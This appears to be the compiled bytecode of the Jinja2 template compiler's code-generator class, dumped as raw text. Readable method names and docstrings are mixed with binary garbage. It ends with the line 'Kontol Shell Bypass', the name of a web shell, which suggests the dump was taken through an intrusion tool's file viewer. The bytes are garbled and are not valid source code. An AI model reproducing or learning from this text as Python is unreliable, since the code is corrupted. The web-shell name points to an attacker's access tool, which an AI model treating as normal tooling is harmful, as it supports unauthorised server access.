rr�r�rKrer@r�r�rr")r%r&r'Zmacro_framerr0r0r1�visit_Macro(szCodeGenerator.visit_MacrocCsR|�||�\}}|�d�|�||�|�||�|j|j|dd�|�|�dS)Nz	caller = T)�forward_caller)rr�r"r��
visit_Call�callr�)r%r&r'Z
call_framerr0r0r1�visit_CallBlock2s
zCodeGenerator.visit_CallBlockcCsh|��}|j�|�|�|�|�|�|�|j|�|�||�|�|j	|�|�
|�|�|�dSr))r�r�rr�r�r�rr�r��filterr�r)r%r&r'Zfilter_framer0r0r1�visit_FilterBlock:s


zCodeGenerator.visit_FilterBlockcCs||��}|j�|�|�|�t|j|j�D]2\}}|��|�||�|�	d�|�||�q,|�
|j|�|�|�dS�Nr�)
r�r�rr��zip�targets�valuesr�r-r@r�rr)r%r&r'Z
with_framer��exprr0r0r1�
visit_WithEs

zCodeGenerator.visit_WithcCs|�|�|�|j|�dSr))r�r-r&rCr0r0r1�visit_ExprStmtQs
zCodeGenerator.visit_ExprStmtc@s4eZdZUejejdefed<ejeed<dS)zCodeGenerator._FinalizeInfo.�const�srcN)r~rr�r4r��Callablerh�__annotations__r0r0r0r1�
_FinalizeInfoUs
r�rVcCst|�S)z�The default finalize function if the environment isn't
        configured with one. Or, if the environment has one, this is
        called on that function's output for constants.
        )rhrpr0r0r1�_default_finalizeYszCodeGenerator._default_finalize�	_finalizecs��jdur�jS�j}�d}�jjr�d}�jj�tjdtjdtjdi�t����}d}|dur|t	j
t	j
d���fdd�}n2|�|�d	�}|dkr�t	j
t	j
d����fd
d�}��||��_�jS)a�Build the finalize function to be used on constants and at
        runtime. Cached so it's only created once for all output nodes.

        Returns a ``namedtuple`` with the following attributes:

        ``const``
            A function to finalize constant data at compile time.

        ``src``
            Source code to output around nodes to be evaluated at
            runtime.
        Nzenvironment.finalize(r��context.eval_ctxr>rVcs��|��Sr)r0rp)r�env_finalizer0r1�finalize�sz.CodeGenerator._make_finalize.<locals>.finalizer:cs���j|��Sr))r>rp�rr�r%r0r1r��s)r�r�r>r�rr��eval_context�get�from_objr4r5r�)r%r�r��pass_argr0r�r1�_make_finalizecs*

��zCodeGenerator._make_finalize)�groupr"cCstt|��S)z�Given a group of constant values converted from ``Output``
        child nodes, produce a string to write to the template module
        source.
        )rr)r%r�r0r0r1�_output_const_repr�sz CodeGenerator._output_const_repr)r&r'r�r"cCs:|�|j�}|jjrt|�}t|tj�r0t|�S|�|�S)aCTry to optimize a child of an ``Output`` node by trying to
        convert it to constant, finalized data at compile time.

        If :exc:`Impossible` is raised, the node is not constant and
        will be evaluated at runtime. Any other exception will also be
        evaluated at runtime for easier debugging.
        )	�as_constr+r�rrPr
�TemplateDatarhr�)r%r&r'r�r�r0r0r1�_output_child_to_const�s
z$CodeGenerator._output_child_to_constcCsL|jjr|�d�n|jjr(|�d�n
|�d�|jdurH|�|j�dS)zXOutput extra source code before visiting a child of an
        ``Output`` node.
        z1(escape if context.eval_ctx.autoescape else str)(zescape(zstr(N)r+r,r@r�r��r%r&r'r�r0r0r1�_output_child_pre�s

zCodeGenerator._output_child_precCs"|�d�|jdur|�d�dS)zWOutput extra source code after visiting a child of an
        ``Output`` node.
        r=N)r@r�r�r0r0r1�_output_child_post�s

z CodeGenerator._output_child_postc	
Cs�|jr"|jrdS|�d�|��|��}g}|jD]�}z,|jsTt|tj�sTt�	��|�
|||�}Wn&tj	tfy�|�|�Yq4Yn0|r�t|dt
�r�|d�|�q4|�|g�q4|jdu�rt|�dkr�|�|j�d��n|�|j�d��|��|D]�}t|t
��rL|�|�}|jdu�r<|�d|�n|�|d�nb|jdu�rf|�d|�n
|�|�|�|||�|�||�|�|||�|jdu�r|�d��q|jdu�r�|��|�t|�dk�r�dnd	�|j�r�|��dS)
NrUr�r	r�z	.extend((r�r r=r�)r�r�r�r�r�r
r�rPr��
Impossibler��	Exceptionr�rjr�rr�r�r�r-r�r@r�)	r%r&r'r�r�childr��item�valr0r0r1�visit_Output�sZ

�
�



zCodeGenerator.visit_OutputcCsF|��|�|�|�|j|�|�d�|�|j|�|�|�dSr)r3r�r-r�r@r&r@rCr0r0r1�visit_Assigns

zCodeGenerator.visit_AssigncCs�|��|��}d|_|j�|�|�|�|�|�|�|j|�|�	|�|�
|j|�|�d�|j
dur�|�|j
|�n|�d|j�d��|�d�|�|�|�|�dS)NFz9 = (Markup if context.eval_ctx.autoescape else identity)(�concat(r=)r3r�r�r�rr�r�r�rr�r-r�r@r}r�r@r)r%r&r'r�r0r0r1�visit_AssignBlock!s 






zCodeGenerator.visit_AssignBlockc	Cs�|jdkr4|js|js|jr4|jr4|jd�|j�|j�|j�}|jdkr�|j�	|�}|durv|dt
krv|�|�r�|�d|j�d|�d|�d��dS|�|�dS)	Nrpr�r�rz(undefined(name=z) if z is missing else r=)
r�r�r�r�r�r�rKr�rZ	find_loadrr2r@)r%r&r'rr�r0r0r1r�9s.
���
�
���zCodeGenerator.visit_NamecCsV|j�|j�}|�d|�d��|��|�d�|��|�|�d|j�d��dS)Nzif not isinstance(z
, Namespace):zMraise TemplateRuntimeError("cannot assign attribute on non-namespace object")r�r�)r�rrKr�r�r��attr)r%r&r'rr0r0r1�visit_NSRefRs�zCodeGenerator.visit_NSRefcCs8|�|j�}t|t�r&|�t|��n|�t|��dSr))r�r+rPrer@rhr)r%r&r'r�r0r0r1�visit_Const`s
zCodeGenerator.visit_ConstcCsHz|�t|�|j���Wn(tjyB|�d|j�d��Yn0dS�Nz6(Markup if context.eval_ctx.autoescape else identity)(r=)r@rr�r+r
r��datarCr0r0r1�visit_TemplateDatags�z CodeGenerator.visit_TemplateDatacCsV|�d�d}t|j�D]"\}}|r.|�d�|�||�q|�|dkrLdnd�dS)Nr;r�r:rz,)r=�r@rror-�r%r&r'rr�r0r0r1�visit_Tupleos

zCodeGenerator.visit_TuplecCsF|�d�t|j�D]"\}}|r*|�d�|�||�q|�d�dS)Nr�r:r�r�r�r0r0r1�
visit_Listxs

zCodeGenerator.visit_ListcCs`|�d�t|j�D]<\}}|r*|�d�|�|j|�|�d�|�|j|�q|�d�dS)Nr&r:r�r�)r@rror-r�rWr�r0r0r1�
visit_Dict�s


zCodeGenerator.visit_Dict�+�-�*�/z//z**�%�and�orznot cCs`|jjrd}n|jjrd}nd}|�|�d��|jD]}|�||�|�d�q6|�d�dS)Nz8(markup_join if context.eval_ctx.volatile else str_join)Zmarkup_joinZstr_joinz((r:r�)r+r,r�r@r
r-)r%r&r'r_r�r0r0r1�visit_Concat�s
zCodeGenerator.visit_ConcatcCs>|�d�|�|j|�|jD]}|�||�q|�d�dS)Nr;r=)r@r-r��ops)r%r&r'r8r0r0r1�
visit_Compare�s


zCodeGenerator.visit_ComparecCs*|�dt|j�d��|�|j|�dS)Nr<)r@�	operatorsr8r-r�rCr0r0r1�
visit_Operand�szCodeGenerator.visit_OperandcCsT|jjr|�d�|�d�|�|j|�|�d|j�d��|jjrP|�d�dS)N�(await auto_await(zenvironment.getattr(r:r=r�)r>rr@r-r&r�rCr0r0r1�
visit_Getattr�s

zCodeGenerator.visit_GetattrcCs�t|jtj�r@|�|j|�|�d�|�|j|�|�d�n^|jjrR|�d�|�d�|�|j|�|�d�|�|j|�|�d�|jjr�|�d�dS)Nr�r�r�zenvironment.getitem(r:r=r�)	rPr�r
�Slicer-r&r@r>rrCr0r0r1�
visit_Getitem�s




zCodeGenerator.visit_GetitemcCs`|jdur|�|j|�|�d�|jdur:|�|j|�|jdur\|�d�|�|j|�dS)Nrn)�startr-r@�stopr�rCr0r0r1�visit_Slice�s




zCodeGenerator.visit_Slice)r&r'�	is_filterr"ccs|jjr|�d�|r@|�|j|j�d��|jj�|j�}n(|�|j|j�d��|jj�|j�}|dur�|js�|r~dnd}|�d|�d|j�d�|j	�t
jdt
jd	t
jd
i�t
�
|��}|dur�|�|�d��dV|�||�|�d�|jj�r
|�d
�dS)Nr�r;r}rmzNo r�rCr�r�r>r:r=r�)r>rr@r�rKr�r�r�r�r�rr�r�r�r�)r%r&r'r�r�	type_namer�r0r0r1�_filter_test_common�s.
��

z!CodeGenerator._filter_test_commoncCs�|�||d���|jdur*|�|j|�nX|jjrP|�d|j�d|j�d��n2|jjrn|�d|j�d��n|�d|j�d��Wd�n1s�0YdS)NTz(Markup(concat(z.)) if context.eval_ctx.autoescape else concat(r�zMarkup(concat(r�r=)r�r&r-r+r,r@r�r�rCr0r0r1r�s

��zCodeGenerator.visit_FiltercCs@|�||d��|�|j|�Wd�n1s20YdSrx)r�r-r&rCr0r0r1r�szCodeGenerator.visit_Testcsl����dd����fdd�}��d����j����d����j����d�|���d�dS)Nr�cs8�jdur���j��dS��d�����d��dS)Nz1cond_expr_undefined("the inline if-expression on z6 evaluated to false and no else section was defined."))Zexpr2r-r@r$r0�r'r&r%r0r1�write_expr2 s
��z1CodeGenerator.visit_CondExpr.<locals>.write_expr2r;z if z else r=)r�r@r-Zexpr1rm)r%r&r'r�r0r�r1�visit_CondExprs


zCodeGenerator.visit_CondExpr)r&r'ryr"cCs�|jjr|�d�|jjr&|�d�n
|�d�|�|j|�|rJddind}|jr\ddini}|jrnddini}|r�|j|fi|��n|s�|r�t	|fi|��}|�
|||�|�d�|jjr�|�d�dS)	Nr�zenvironment.call(context, z
context.call(r	Z
_loop_varsZ_block_varsr=r�)r>rr@r?r-r&r�r�r�rnr�)r%r&r'ryr�Zloop_kwargsZblock_kwargsr0r0r1rz3s"


zCodeGenerator.visit_CallcCs"|�|jd�|�|j|�dS)Nr�)r@r�r-rWrCr0r0r1�
visit_KeywordJszCodeGenerator.visit_KeywordcCs&|�d�|�|j|�|�d�dS)NzMarkup(r=�r@r-r�rCr0r0r1�visit_MarkSafePs
zCodeGenerator.visit_MarkSafecCs&|�d�|�|j|�|�d�dSr�r�rCr0r0r1�visit_MarkSafeIfAutoescapeUs
z(CodeGenerator.visit_MarkSafeIfAutoescapecCs|�d|j�dS)Nzenvironment.�r@rKrCr0r0r1�visit_EnvironmentAttribute\sz(CodeGenerator.visit_EnvironmentAttributecCs|�d|j�d|j���dS)Nzenvironment.extensions[z].)r@�
identifierrKrCr0r0r1�visit_ExtensionAttributeasz&CodeGenerator.visit_ExtensionAttributecCs|�|j|j�dSr))r@r�rMrCr0r0r1�visit_ImportedNamefsz CodeGenerator.visit_ImportedNamecCs|�|j�dSr)r�rCr0r0r1�visit_InternalNameisz CodeGenerator.visit_InternalNamecCs|�d�dS)Nr�)r@rCr0r0r1�visit_ContextReferencelsz$CodeGenerator.visit_ContextReferencecCs|�|�|��dSr))r@r1rCr0r0r1�visit_DerivedContextReferenceqsz+CodeGenerator.visit_DerivedContextReferencecCs|�d|�dS)N�continuer(rCr0r0r1�visit_ContinuevszCodeGenerator.visit_ContinuecCs|�d|�dS)N�breakr(rCr0r0r1�visit_BreakyszCodeGenerator.visit_BreakcCs:|��}|j�|�|�|�|�|j|�|�|�dSr))r�r�rr�r�rr)r%r&r'�scope_framer0r0r1�visit_Scope|s

zCodeGenerator.visit_ScopecCs�|��}|�|�d|�|����|�|�d��|�|j|�|�|�|jdd�}|j�|�|�	|�|�
|j|�|�|�|�
�dS)Nr�z.vars = T)r�)r�r�r1r-r�r,r�r�rr�r�rrr-)r%r&r'r�r�r0r0r1�visit_OverlayScope�s


z CodeGenerator.visit_OverlayScopec	Csr|jD]f}|�d|j�d��|�|j|�z|j�|j�}WntjyZd|j_	Yq0t
|j|j|�qdS)Nzcontext.eval_ctx.r�T)�optionsr�r�r-rWr�r+r
r�r,�setattr)r%r&r'�keywordr�r0r0r1�visit_EvalContextModifier�s
z'CodeGenerator.visit_EvalContextModifiercCsh|��}|j��}|�|�d��|�||�|jD]}|�||�q4|j�|�|�d|�d��dS)Nz = context.eval_ctx.save()zcontext.eval_ctx.revert(r=)r�r+�saver�r�rr-�revert)r%r&r'Zold_ctx_nameZ	saved_ctxr�r0r0r1�visit_ScopedEvalContextModifier�s

z-CodeGenerator.visit_ScopedEvalContextModifier)NFT)F)r	)N)N)Nr)Nr)N)F)rr)N)F)�r~rr�r4r�rh�TextIOrcr}�propertyrOrdr�r�r$r�r�r�r�r
�Noder�r�r�r�r�r@r�r�r��Callr�r��Mappingr5r�r�r�rrrr�r�r\rvrr"r$r'r)rrrr,r-r/r�r1r2r3r@rQrTr�r�rJrZ�Includer`�ImportZ
FromImportrcrfri�Forru�Ifrwrxr|ZFilterBlockr~�Withr�ZExprStmtr��
NamedTupler��staticmethodr�r�r�r�r�r3r�r�r��Outputr��Assignr�ZAssignBlockr�r�r�ZNSRefr�r[r�r�r�r�r]r��Dictr�rHZ	visit_AddZ	visit_SubZ	visit_MulZ	visit_DivZvisit_FloorDivZ	visit_PowZ	visit_ModZ	visit_AndZvisit_OrrJZ	visit_PosZ	visit_NegZ	visit_Notr7ZConcatr��Comparer�ZOperandr�ZGetattrr�ZGetitemr�r�r�r�Iteratorr�r�r�ZCondExprr�rz�Keywordr�ZMarkSafer�ZMarkSafeIfAutoescaper�ZEnvironmentAttributer�ZExtensionAttributer�rLr�ZInternalNamer�ZContextReferencer�ZDerivedContextReferencer��Continuer��Breakr�ZScoper�ZOverlayScoper�ZEvalContextModifierr�ZScopedEvalContextModifierr�r0r0r0r1r#,sl
�
�I��������9.�S
	.��w+*4�2
0���O	


�)���������)NFT)Fr��typingr4�
contextlibr�	functoolsr�ior�	itertoolsrr�rr�Z
markupsaferrrr
�
exceptionsrZ
idtrackingrr
rrrrr*r�utilsrrrEr�
TYPE_CHECKING�typing_extensions�ter>r�TypeVarr�r5rr�r7rhrFrHrIrJrQr�r�rcrUrYr�r��Setrurvr$�RuntimeErrorrsr�rrr�r�r#r0r0r0r1�<module>s|�"��
��S

Kontol Shell Bypass